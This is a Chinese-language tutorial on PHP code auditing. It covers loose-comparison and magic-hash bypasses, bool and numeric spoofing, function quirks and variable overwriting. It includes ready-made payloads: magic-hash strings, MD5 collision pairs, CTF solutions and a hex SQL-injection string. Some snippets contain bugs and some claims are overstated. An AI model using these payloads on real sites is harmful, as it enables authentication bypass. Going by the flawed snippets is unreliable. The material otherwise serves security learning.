代码审计可以获取代码中的漏洞,通过漏洞绕过条件判断甚至权限。

== 与 ===

  • ===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
  • ==在进行比较的时候,会先将字符串类型转化成相同,再比较;如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

热身demo

  1. <?php
  2. var_dump("admin"==e);//true
  3. var_dump("1admin"==1);//true
  4. var_dump("admin1"==1);//false
  5. var_dump("admin1"==e);//true
  6. var_dump("0e123456"=="0e4456789");//true
  7. ?>

hash比较缺陷

如果hash值以oe开头,后边都是数字,再与数字比较,就会被解释成010n还是为0,就会被判断相等,绕过登录环节。

<?php 
var_dump("0e0345"=="0"); //true
var_dump("0e123456789"=="0"); //true
var_dump("0e1234abc"=="0");//false
?>

magic_hashes.php

<?php 
var_dump(md5('240610708')==md5('QNKCDZO')); //true
var_dump(md5('aabg7XSs')==md5('aabC9RqS'));//true
var_dump(sha1('aaroZmOk')==sha1('aaK1STfY'));//ture
var_dump(sha1('aaO8zKZF')==sha1('aa3OFF9m')); //true
var_dump('0010e2'=='1e3'); //ture
var_dump('0x1234Ab'=='1193131'); //true
var_dump('0xABCdef'=='0xABCdef');//true
?>

bool欺骗

当存在json_decode和unserialize的时候,部分结构会被解释成bool类型,也会造成欺骗。

<?php
$json_str='{"user":true,"pass": true}';
$data=json_decode($json_str,true); 
var_dump($data); 
if($data['user']=='admin' && $data['pass']=='secirity')
    print_r('logined in as bool'."\n");
?>
/*输出
array(2) {
  ["user"]=>
  bool(true)
  ["pass"]=>
  bool(true)
}
logined in as bool
*/
<?php
$unserialize_str = 'a:2:{s:4:"user";b:1;s:4:"pass";b:1;}';
$data_unserialize = unserialize($unserialize_str);
var_dump($data_unserialize);
if ($data_unserialize['user'] == 'admin' && $data_unserialize['pass']=='secirity')
    print_r('logined in unserialize'."\n");
?>
/*输出
array(2) {
  ["user"]=>
  bool(true)
  ["pass"]=>
  bool(true)
}
logined in unserialize
*/

数字转换欺骗

<?php 
var_dump(intval('2')); 
var_dump(intval('3abcd')); 
var_dump(intval('abcd'));
?>
/*输出
int(2)
int(3)
int(0)
*/
<?php 
var_dump(0x1e240=="123456"); //true
var_dump(0x1e240==123456); //true
var_dump("0xle240"=="1e240");//false
?>
//$user_id = ($_POST['user_id']);
$user_id=0.999999999999999999999;
if ($user_id == "1") //强转后0.9999999与1相等 为true
{
    $user_id = (int)($user_id);
    #$user_id = intval($user_id);
    $qry = "SELECT * FROM `users` WHERE user_id='$user_id';";
}
$result = mysql_query($qry) or die('
<pre>' . mysql_error() . '</pre>' );
print_r(mysql_fetch_row($result));
?>
/*
Array
(
    [0] => 0
    [1] => lxx'
    [2] => 
    [3] => 
    [4] => 
    [5] => 
)
*/
<?php       
$uid=1.1;   
if ($_POST['uid'] != 1) {   //相等 为true
    $res = $db->query("SELECT * FROM user WHERE uid=%d", (int)$_POST['uid']);
    mail(...);
} 
else 
    die("Cannot reset password of admin");

一些函数

strcmp函数

str1是第一个字符串,str2是第二个字符串,如果str1小于str2,返回<0,如果str1>str2,返回>0,两者相等返回0,假如str2为一个array,返回NULL

<?php
$_GET['key']=array(); 
$key ="1locdpocuzion5dcp2bindhspiccy";
$flag=strcmp($key,$_GET['key']); 
if($flag==0){
    print"welcome!";
else
    print"Bad key!";
?>

/**输出
welcome!
*/

md5函数

md5函数的描述是string md5(string $str[,bool $raw_output=false]),md5()中的需要是一个string类型的参数。但是当你传递一个array时,md5()不会报错,只是会无法正确地求出array的md5值,这样就会导致任意2个array的md5值都会相等。

<?php 
$array1[]=array(
    "foo"=>"bar",
    "bar"=>"foo",
); 
$array2=array("foo","bar","hello","world"); 
var_dump(md5($array1)==var_dump($array2));//true
?>

/*输出
bool(true)
*/

生日攻击
生日问题:在n个人中随机选取k个人,当k为多大时能保证k个人中有两个人的生日是相同的?
k=366?
统计学角度来看这个问题,k<<<366;

  • k=70时,其中两个人有相同生日的概率就高达99.9%;
  • k=100时,概率可达99.99997%;
  • k=200时,概率可达99.9999999999999999999999999998%;

思考哈希函数
hash function:f(x)=y
f(2)=4,f(3)=6,f(2374)=47481
f()要足够复杂才能抵御被猜测的风险;
生日问题告诉我们,hash function可以通过使用少量的输入值碰撞相同的输出值;所以hash function是不安全的。

强网杯web签到题

//The Fisrt Easy Md5 Challenge
<?php 
if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2']))
    die("success!");
/*
param1=s878926199a&param2=s155964671a
*/
//The Second Easy Md5 Challenge
<?php 
if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POS['param2']))
    die("success!");
/*
param1[]=1&param2[]=2
*/

string限制了只能传入字符串类型,数组无法绕过

//Md5 Revenge Now!
<?php
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
    die("success!);

借用生日攻击的想法,我们只要找出MD5加密后相同的两个字符串即可(哈希碰撞)

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

或者使用工具fastcoll生成MD5值相同的文件;再将内容url编码

#encoding=utf-8
import urllib
file1 = open("p1.txt", "rb")
file2 = open("p2.txt", "rb")
res1 = file1.read()
res2 = file2.read()
s1 = urllib.quote(res1)
s2 = urllib.quote(res2)
file1.close()
file2.close()
print 'param1=%s'% s1 +'&'+'param2=%s'% s2

一些特殊的字符串 md5

三个字符串md5值相等

<?php
$s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab";
$s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab";
$s3 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab";
var_dump(md5(urldecode($s1)));
var_dump(md5(urldecode($s2)));
var_dump(md5(urldecode($s3)));
/*输出
string(32) "ea8b4156874b91a4ef00c5ca3e4a4a34"
string(32) "ea8b4156874b91a4ef00c5ca3e4a4a34"
string(32) "ea8b4156874b91a4ef00c5ca3e4a4a34"
*/

一些md5加密后以0e开头的字符串

5位数和6位数
byGcY
0e591948146966052067035298880982
sonZ7y
0e463306343746311593316642162425

只包含一种字符
1FVWc
0ef715f5943144181839f9f321584156
2uM8z
0e0081018231f666742748f3540f4761
3za1b
0e02f196724391824188f3f90f732735

只包含两种字符
00c84
0e17d931d17f1948d37d691693995ff1
01bDI
0ee26113820055502806791698800f47
01NxP
0e72096d884f956d9618012679405269
02K7w
0e543091322e0f42ef1126374409f755
04072
0e8f06d06387944ff396030861fd2698
044Dt
0e91946379408e6f2f62152293e4f596
05nnu
0ef580f7a2f4176f57544f8091f33936
05wPJ
0e49528768d18f101816843669079475

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

switch函数

<?php
$i="2abc"; 
switch ($i){
    case 0:
    case 1: 
    case 2:
        echo "i is less than 3 but not negative"; 
        break;
    case 3: 
        echo "i is 3";
}
?>
/*输出
i is less than 3 but not negative
*/

is_numeric()

数字或数字字符串可以被is_numeric判断真;因此传入十六进制字符串可以通过;但是此十六进制经由mysql解析时就会被转换为字符串,会造成攻击利用。

<?php
#$id='1';
#$id='1a';
$id='0x3120616e6420313d31';//HEX(1 and 1=1)
if(is_numeric($id)){
    $sq1="select title from admin and where id =$id"; 
    echo  $sq1; 
}
else 
    echo 'none';
?>

in_array() 与 array_search()

in_array()函数的解释是:

bool in_array(mixed $needle,array $haystack[,bool $strict = FALSE])

如果strict参数没有提供,那么in_array就会使用松散比较来判断$needle是否在$haystack中。当strict的值为true时,in_array()会比较needls的类型和haystack的类型是否相同。

<?php
$array=[0,1,2,'3']; 
var_dump(in_array('abc',$array));
var_dump(in_array('1bc',$array));
?>
/*输出
bool(true)
bool(true)
*/

array_search原理同in_array

<?php 
$array=array(0=>0,1=>1,2=>2,3=>'3'); 
echo(array_search('abc',$array))."\n"; 
echo(array_search('1ab',$array));
?>
/*输出
0
1
*/

empty函数

当变量var存在,并且是一个非空非零的值时返回FALSE 否则返回TRUE.
以下的东西被认为是空的:

  • “”(空字符串)
  • 0(作为整数的0)
  • 0.0(作为浮点数的0)
  • “0”(作为字符串的0)
  • NULL
  • FALSE
  • array()(一个空数组)
  • $var;(一个声明了,但是没有值的变量)

变量覆盖

$$

$$的用法

<?php
$a = 'abc';
$$a = 789;
echo $abc;
echo "\n";
echo $$a;
?>
/*
789
789
*/
<?php
//?name=test 请求$_GET变量test
//output:string(4)  "name"string(4) "test"string(4) "test"  test
$name='thinking';  
foreach($_GET as $key => $value)//遍历数组中的值
$$key=$value; 
var_dump($key); 
var_dump($value); 
var_dump($$key); 
echo $name;
?>
/*
NULL
NULL
NULL
thinking
*/

extract()函数

extract()函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
若没有设定规则(默认),则会变量覆盖;设定规则,则启用规则名称赋值。
extract(array,extract_rules,prefix)

<?php
$size="large";
$var_array=array(
    "color"=>"blue",
    "size"=>"medium",
    "shape"=>"sphere"); 
extract($var_array,EXTR_PREFIX_SAME,"wddx"); 
echo "$color,$size,$shape,$wddx_size\n";
/*
blue,large,sphere,medium
*/

例题1:

<?php
extract($_GET);
if (!empty($ac))
{
    $f = trim(file_get_contents($fn));
    if ($ac === $f)
        echo "<p>This is flag:" ." $flag</p>";
    else
        echo "<p>sorry!</p>";
}
?>
/*
?ac=123&fn=php://input  post 123
*/

parse_str()

parse_str()函数把字符串解析成变量

parse_str(string,array)
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组名称。该参数指示变量存储到数组

如果未设置 array参数,由该函数设置的变量将覆盖已由同名变量。
php.ini中的magic_quotes_gpc设置影响该函数的输出。如果已启用,那么在parse_str()解析之前,变量会被addslashes()转换。

<?php 
error_reporting(e);
include('flag.php');
$a="www.nsfocus.com";
$id=$_GET['id'];
@parse_str($id);
if($a[0]!='QNKCDZO' && md5($a[0])== md5('QNKCDZO'))
    echo $flag;
else
    exit('其实很简单其实并不难');
/*
?id=a[]=s878926199a 产生$a的变量覆盖
*/

import_request_variables

import_request_variables — 将 GET/POST/Cookie 变量导入到全局作用域中。

import_request_variables ( string $types [, string $prefix ] ) : bool
将 GET/POST/Cookie 变量导入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。

你可以使用 types 参数指定需要导入的变量。可以用字母‘G’、‘P’和‘C’分别表示 GET、POST 和 Cookie。这些字母不区分大小写,所以你可以使用‘g’、‘p’和‘c’的任何组合。POST 包含了通过 POST 方法上传的文件信息。注意这些字母的顺序,当使用“gp”时,POST 变量将使用相同的名字覆盖 GET 变量。任何 GPC 以外的字母都将被忽略。

<?php
$auth='0'; 
import_request_variables('G'); 
if($auth==1){
    echo "private!";
}else{
    echo "public!";
}
?>
/*
?auth=1
*/